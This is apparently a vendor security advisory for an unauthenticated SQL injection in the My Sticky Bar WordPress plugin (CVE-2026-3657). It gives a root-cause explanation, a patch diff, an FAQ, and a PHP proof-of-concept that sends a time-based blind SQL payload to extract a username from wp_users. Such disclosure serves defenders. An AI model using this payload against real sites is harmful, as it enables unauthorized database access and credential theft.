Atomic Edge analysis of CVE-2026-3657:
The vulnerability is an unauthenticated SQL injection in the My Sticky Bar WordPress plugin. The root cause is the plugin’s handler for the `stickymenu_contact_lead_form` AJAX action. In versions up to 2.8.6, the handler in `mystickymenu.php` (lines 2379-2409) directly uses attacker-controlled POST parameter names as SQL column identifiers in the `$wpdb->insert()` call. The code iterates through all POST parameters except a few excluded keys (`action`, `widget_id`, `save_form_lead`, `wpnonce`), then uses each parameter name as a column name in the INSERT statement. While parameter values are sanitized with `esc_sql()` and `sanitize_text_field()`, the parameter keys are not validated or sanitized. This allows attackers to inject arbitrary SQL column names, enabling blind time-based data extraction via crafted parameter names. The exploitation method targets the `/wp-admin/admin-ajax.php` endpoint with the `action` parameter set to `stickymenu_contact_lead_form`. Attackers can send POST requests with malicious parameter names containing SQL injection payloads. The patch in version 2.8.7 replaces the dynamic parameter collection with a hardcoded whitelist of allowed keys (`contact_name`, `contact_email`, `contact_phone`, `page_link`). This fix ensures only predefined column names can be used in the INSERT statement, eliminating the SQL injection vector. Successful exploitation enables unauthenticated attackers to extract sensitive data from the WordPress database, including user credentials and plugin configuration.
CVE-2026-3657: My Sticky Bar <= 2.8.6 – Unauthenticated SQL Injection via 'stickymenu_contact_lead_form' Action (mystickymenu)
CVE-2026-3657
mystickymenu
2.8.6
2.8.7
Analysis Overview
Differential between vulnerable and patched code
--- a/mystickymenu/mystickymenu-affiliate.php
+++ b/mystickymenu/mystickymenu-affiliate.php
@@ -1,170 +0,0 @@
-<?php
-class MyStickyMenu_affiliate_program {
-
- public $plugin = "mystickymenu";
-
- public function __construct() {
- add_action("wp_ajax_".$this->plugin."_affiliate_program", array($this, "mystickymenu_affiliate_program"));
-
- add_action('admin_notices', array($this, 'mystickymenu_admin_notices'));
- }
-
- public function mystickymenu_affiliate_program() {
- $nonce = sanitize_text_field(filter_input(INPUT_POST, 'nonce'));
- $days = sanitize_text_field(filter_input(INPUT_POST, 'days'));
- if(!empty($nonce) && wp_verify_nonce($nonce, $this->plugin."_affiliate_program")) {
- if($days == -1) {
- add_option($this->plugin."_hide_affiliate_box", "1");
- } else {
- $date = date("Y-m-d", strtotime("+".$days." days"));
- update_option($this->plugin."_show_affiliate_box_after", $date);
- }
- }
- die;
- }
-
- public function mystickymenu_admin_notices() {
- $is_hidden = get_option($this->plugin."_hide_affiliate_box");
- if($is_hidden !== false) {
- return;
- }
-
- $date_to_show = get_option($this->plugin."_show_affiliate_box_after");
- if($date_to_show === false || empty($date_to_show)) {
- $date = date("Y-m-d", strtotime("+5 days"));
- update_option($this->plugin."_show_affiliate_box_after", $date);
- return;
- }
- $current_date = date("Y-m-d");
- if( $date_to_show != '' && $current_date < $date_to_show) {
- return;
- }
- ?>
- <style>
- .premio-affiliate p a {
- display: inline-block;
- float: right;
- text-decoration: none;
- color: #999999;
- position: absolute;
- right: 12px;
- top: 12px;
- }
- .premio-affiliate p a:hover, .premio-affiliate p a:focus {
- color: #333333;
- }
- .premio-affiliate .button span {
- display: inline-block;
- line-height: 27px;
- font-size: 16px;
- }
- .premio-affiliate {
- padding: 1px 100px 12px 12px;
- margin: 15px 15px 2px;
- position: relative;
- }
- .affiliate-popup {
- position: fixed;
- width: 100%;
- height: 100%;
- z-index: 10001;
- background: rgba(0,0,0,0.65);
- top: 0;
- left: 0;
- display: none;
- }
- .affiliate-popup-content {
- background: #ffffff;
- padding: 20px;
- position: absolute;
- max-width: 450px;
- width: 100%;
- margin: 0 auto;
- top: 45%;
- left: 0;
- right: 0;
- -webkit-border-radius: 5px;
- -moz-border-radius: 5px;
- border-radius: 5px;: ;
- }
- .affiliate-title {
- padding: 0 0 10px 0;
- font-weight: bold;
- }
- .affiliate-options a {
- display: block;
- margin: 5px 0 5px 0;
- color: #333;
- text-decoration: none;
- }
- .affiliate-options a.dismiss {
- color: #999;
- }
- .affiliate-options a:hover, .affiliate-options a:focus {
- color: #0073aa;
- }
- button.close-affiliate-popup {
- position: absolute;
- top: 5px;
- right: 0;
- border: none;
- background: transparent;
- cursor: pointer;
- }
- a.button.button-primary.affiliate-btn {
- font-size: 14px;
- background: #F51366;
- color: #fff;
- border: solid 1px #F51366;
- border-radius: 3px;
- line-height: 24px;
- -webkit-box-shadow: 0 3px 5px -3px #333333;
- -moz-box-shadow: 0 3px 5px -3px #333333;
- box-shadow: 0 3px 5px -3px #333333;
- text-shadow: none;
- }
- </style>
- <div class="notice notice-info premio-affiliate <?php echo esc_attr($this->plugin) ?>-premio-affiliate">
- <p>Hi there, you've been using My Sticky Bar for a while now. Do you know that <b>My Sticky Bar</b> has an affiliate program? Join now and get <b>25% lifetime commission</b> <a href="#" class="dismiss-btn"><span class="dashicons dashicons-no-alt"></span> Dismiss</a></p>
- <div class="clear clearfix"></div>
- <a class="button button-primary affiliate-btn" target="_blank" href="https://premio.io/affiliates/?utm_source=inapp&plugin=mystickymenu&domain=<?php echo esc_attr($_SERVER['HTTP_HOST']); ?>">Tell me more <span class="dashicons dashicons-arrow-right-alt"></span></a>
- </div>
- <div class="affiliate-popup">
- <div class="affiliate-popup-content">
- <button class="close-affiliate-popup"><span class="dashicons dashicons-no-alt"></span></button>
- <div class="affiliate-title">Would you like us to remind you about this later?</div>
- <div class="affiliate-options">
- <a href="#" data-days="3">Remind me in 3 days</a>
- <a href="#" data-days="10">Remind me in 10 days</a>
- <a href="#" data-days="-1" class="dismiss">Don't remind me about this</a>
- </div>
- </div>
- </div>
- <script>
- jQuery(document).ready(function(){
- jQuery(document).on("click", ".premio-affiliate p a.dismiss-btn", function(){
- jQuery(".affiliate-popup").show();
- });
- jQuery(document).on("click", ".close-affiliate-popup", function(){
- jQuery(".affiliate-popup").hide();
- });
- jQuery(document).on("click", ".affiliate-options a", function(){
- var dataDays = jQuery(this).attr("data-days");
- jQuery(".affiliate-popup").hide();
- jQuery(".<?php echo esc_attr($this->plugin) ?>-premio-affiliate").hide();
- jQuery.ajax({
- url: "<?php echo esc_url(admin_url("admin-ajax.php")) ?>",
- data: "action=<?php echo esc_attr($this->plugin) ?>_affiliate_program&days="+dataDays+"&nonce=<?php echo esc_attr(wp_create_nonce($this->plugin."_affiliate_program")) ?>",
- type: "post",
- success: function() {
- jQuery(".affiliate-popup").remove();
- jQuery(".<?php echo esc_attr($this->plugin) ?>-premio-affiliate").remove();
- }
- });
- });
- });
- </script>
- <?php
- }
-}
-$MyStickyMenu_affiliate_program = new MyStickyMenu_affiliate_program();
No newline at end of file
--- a/mystickymenu/mystickymenu.php
+++ b/mystickymenu/mystickymenu.php
@@ -3,7 +3,7 @@
Plugin Name: My Sticky Bar
Plugin URI: https://premio.io/
Description: Create a notification bar for your website with My Sticky Bar. You can customize the design, collect leads, and enjoy other advanced features. You can also make your menu sticky using My Sticky Bar.
-Version: 2.8.6
+Version: 2.8.7
Author: Premio
Author URI: https://premio.io/downloads/mystickymenu/
Text Domain: mystickymenu
@@ -12,7 +12,7 @@
*/
defined('ABSPATH') or die("Cannot access pages directly.");
-define('MYSTICKY_VERSION', '2.8.6');
+define('MYSTICKY_VERSION', '2.8.7');
define('MYSTICKYMENU_URL', plugins_url('/', __FILE__)); // Define Plugin URL
define('MYSTICKYMENU_PATH', plugin_dir_path(__FILE__)); // Define Plugin Directory Path
define('MYSTICKYMENU_BASE', plugin_basename(__FILE__));
@@ -2379,25 +2379,23 @@
$element_widget_no = '';
}
- $welcomebar = get_option( 'mysticky_option_welcomebar' . $element_widget_no );
-
- foreach( $postArr as $key => $val ){
- if( $key != 'action' && $key != 'widget_id' && $key != 'save_form_lead' && $key != 'wpnonce'){
- $params[$key] = (isset($val) && $val != '') ? esc_sql( sanitize_text_field($val) ) : '';
- }
- }
+ $allowed_keys = ['contact_name', 'contact_email', 'contact_phone', 'page_link'];
+ $params = [];
+ foreach ($allowed_keys as $key) {
+ if (isset($_POST[$key]) && $_POST[$key] !== '') {
+ $params[$key] = sanitize_text_field($_POST[$key]);
+ }
+ }
- $params["widget_id"] = esc_sql( sanitize_text_field($element_widget_no));
- $params["widget_name"] = esc_sql( sanitize_text_field($element_widget_name));
- $params["message_date"] = date('Y-m-d H:i:s');
- $params["contact_email"] = (isset($params["contact_email"]) && $params["contact_email"] != '' ) ? sanitize_email($params["contact_email"]) : '';
-
- if( isset($params) && !empty($params) ){
- $wpdb->insert($contact_lists_table, $params);
- die;
- }
-
-
+ if(!empty($params)) {
+ $params["widget_id"] = esc_sql(sanitize_text_field($element_widget_no));
+ $params["widget_name"] = esc_sql(sanitize_text_field($element_widget_name));
+ $params["message_date"] = date('Y-m-d H:i:s');
+ $params["contact_email"] = (isset($params["contact_email"]) && $params["contact_email"] != '') ? sanitize_email($params["contact_email"]) : '';
+
+ $wpdb->insert($contact_lists_table, $params);
+ die;
+ }
}
}
@@ -2409,10 +2407,6 @@
}
-if( is_admin() ) {
- require_once 'mystickymenu-affiliate.php';
-}
-
new MyStickyMenuBackend();
new MyStickyMenuFrontend();
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3657 - My Sticky Bar <= 2.8.6 - Unauthenticated SQL Injection via 'stickymenu_contact_lead_form' Action
<?php
$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/admin-ajax.php';
// Craft malicious parameter name with time-based SQL injection payload
// The payload uses MySQL's SLEEP() function to extract data via timing differences
// This example attempts to extract the first character of the first username from wp_users
$malicious_param = "contact_email' AND IF(ASCII(SUBSTRING((SELECT user_login FROM wp_users LIMIT 1),1,1))>0,SLEEP(5),0) AND '1'='1";
// Build POST data with the malicious parameter name
$post_data = [
'action' => 'stickymenu_contact_lead_form',
// The parameter name itself contains the SQL injection
$malicious_param => 'attacker@example.com',
'widget_id' => '1',
'save_form_lead' => '1'
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
curl_close($ch);
$response_time = $end_time - $start_time;
if ($response_time > 5) {
echo "SQL injection successful - response delayed by " . round($response_time, 2) . " secondsn";
echo "This indicates the conditional SLEEP() executed, confirming blind SQL injectionn";
} else {
echo "No significant delay detected. Site may not be vulnerable or payload needs adjustment.n";
}
?>Frequently Asked Questions
What is CVE-2026-3657?
Overview of the vulnerabilityCVE-2026-3657 is a high-severity SQL injection vulnerability in the My Sticky Bar WordPress plugin, affecting versions up to 2.8.6. It allows unauthenticated attackers to inject SQL commands via the ‘stickymenu_contact_lead_form’ AJAX action.
How does the SQL injection occur?
Mechanism of exploitationThe vulnerability arises because the plugin uses attacker-controlled POST parameter names directly as SQL column identifiers in an SQL INSERT statement. This allows attackers to craft malicious parameter names that can manipulate the database.
Who is affected by this vulnerability?
Identifying vulnerable installationsAny WordPress site using the My Sticky Bar plugin version 2.8.6 or earlier is affected. Administrators can check their plugin version in the WordPress dashboard under the Plugins section.
How can I check if my site is vulnerable?
Steps for verificationTo verify if your site is vulnerable, check the installed version of the My Sticky Bar plugin. If it is version 2.8.6 or earlier, your site is at risk and should be updated immediately.
How can I fix this vulnerability?
Updating the pluginThe vulnerability is patched in version 2.8.7 of the My Sticky Bar plugin. Administrators should update to this version or later to mitigate the risk of SQL injection.
What are the practical implications of the CVSS score?
Understanding the risk levelWith a CVSS score of 7.5, this vulnerability is considered high severity. It indicates a significant risk where successful exploitation can lead to unauthorized access to sensitive data, making immediate action necessary.
What does the proof of concept demonstrate?
Example of exploitationThe proof of concept illustrates how an attacker can exploit the vulnerability by sending a specially crafted POST request with a malicious parameter name. This request can trigger a time-based SQL injection, allowing the attacker to extract data from the database.
What data could be at risk from this vulnerability?
Potential data exposureSuccessful exploitation of CVE-2026-3657 could allow attackers to access sensitive information from the WordPress database, including user credentials and plugin configuration settings.
Are there any mitigations if I cannot update immediately?
Temporary protective measuresIf immediate updates are not possible, consider disabling the My Sticky Bar plugin until you can apply the patch. Additionally, monitor your site for unusual activity that may indicate exploitation.
What is the recommended best practice for plugin management?
Maintaining WordPress securityRegularly update all WordPress plugins and themes to their latest versions. Implement security measures such as web application firewalls and regular security audits to help protect against vulnerabilities.
How can I stay informed about vulnerabilities?
Keeping up with security updatesSubscribe to security mailing lists, follow WordPress security blogs, and monitor the CVE database for updates related to WordPress plugins and themes to stay informed about new vulnerabilities.
What should I do if I suspect my site has been compromised?
Response to potential breachesIf you suspect your site has been compromised, immediately take it offline, conduct a thorough security audit, check for unauthorized changes, and restore from a clean backup if necessary. Consider consulting with a security professional.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations
